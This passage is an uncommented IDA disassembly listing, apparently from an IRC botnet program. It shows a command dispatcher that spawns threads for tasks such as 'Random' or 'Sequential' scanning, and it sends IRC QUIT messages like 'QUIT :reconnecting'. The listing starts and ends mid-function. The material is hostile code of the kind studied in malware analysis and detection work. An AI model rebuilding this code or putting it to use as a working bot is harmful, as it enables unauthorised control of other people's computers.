call dword_4CB978
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CBA60
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BFD0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C820
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C360
push offset byte_43DB88
push offset aF ; "#f"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2CC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C600
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
nop
call near ptr 2680EF8h
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
nop
call near ptr 269086Bh
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C290
push eax
call sub_41C266
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C258
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C238
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AC9
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
nop
call near ptr 2680000h
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset byte_429108
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C360
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset byte_412197
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2680EF8h
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
nop
call near ptr 269086Bh
push eax
push offset unk_42C1C8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BE9
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403BE9
push edi
call sub_41C159
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+var_49F4]
push 104h
push eax
nop
call near ptr 2680A92h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C3B1
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
nop
call near ptr 2680EF8h
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
nop
call near ptr 269086Bh
push eax
push offset unk_42C150
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D75
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403D75
push edi
call sub_41C159
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C360
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB88
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+var_88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C114
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset word_41144E
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2680EF8h
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
call near ptr 269086Bh
nop
push eax
push offset unk_42C0D8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EA4
push esi
call sub_41C159
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB8F0
cmp eax, ebx
jz short loc_403EE8
call eax
test eax, eax
jz short loc_403EE1
push offset unk_42C0B4
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C088
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset unk_42C05C
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C038
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C00C
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx
push [ebp+var_4]
push offset dword_42BFF4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx
push [ebp+var_4]
call sub_418723
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BFD8
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFAC
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF84
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset unk_42BF64
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
nop
call near ptr 26A07AFh
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_40402E
push esi
call sub_41C159
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF4C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
push [ebp+var_4]
push offset unk_42BF2C
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi
push offset aFull ; "full"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+var_2C4]
push offset dword_42BF08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
nop
call near ptr 269086Bh
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BECC
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx
push [ebp+var_4]
push offset unk_42BEB4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA6C
call dword_4CB92C
call sub_4188A6
push ebx
nop
call near ptr 77E75CB5h
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE9C
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE84
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042A7
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C360
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push offset dword_42BE6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset byte_415E4B
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
call near ptr 2680EF8h
nop
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
nop
call near ptr 269086Bh
push eax
push offset unk_42BE34
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415CC0
push offset unk_42BE1C
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset dword_42BE18
push esi
call sub_41CA50
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+var_2C4]
push offset dword_42BDF8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset byte_40B425
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
nop
call near ptr 2680EF8h
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
call near ptr 269086Bh
nop
push eax
push offset unk_42BDBC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aSaadfgh ; "saadfgh"
push offset unk_42BDA4
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD78
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD28
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BCF8
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BCE8
push offset dword_42BCD8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BCCC
push offset dword_42BCBC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045D8
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_4045D8
push edi
call sub_41C159
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C360
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC94
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset word_411BCE
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
nop
call near ptr 2680EF8h
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
nop
call near ptr 269086Bh
push eax
push offset dword_42BC58
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
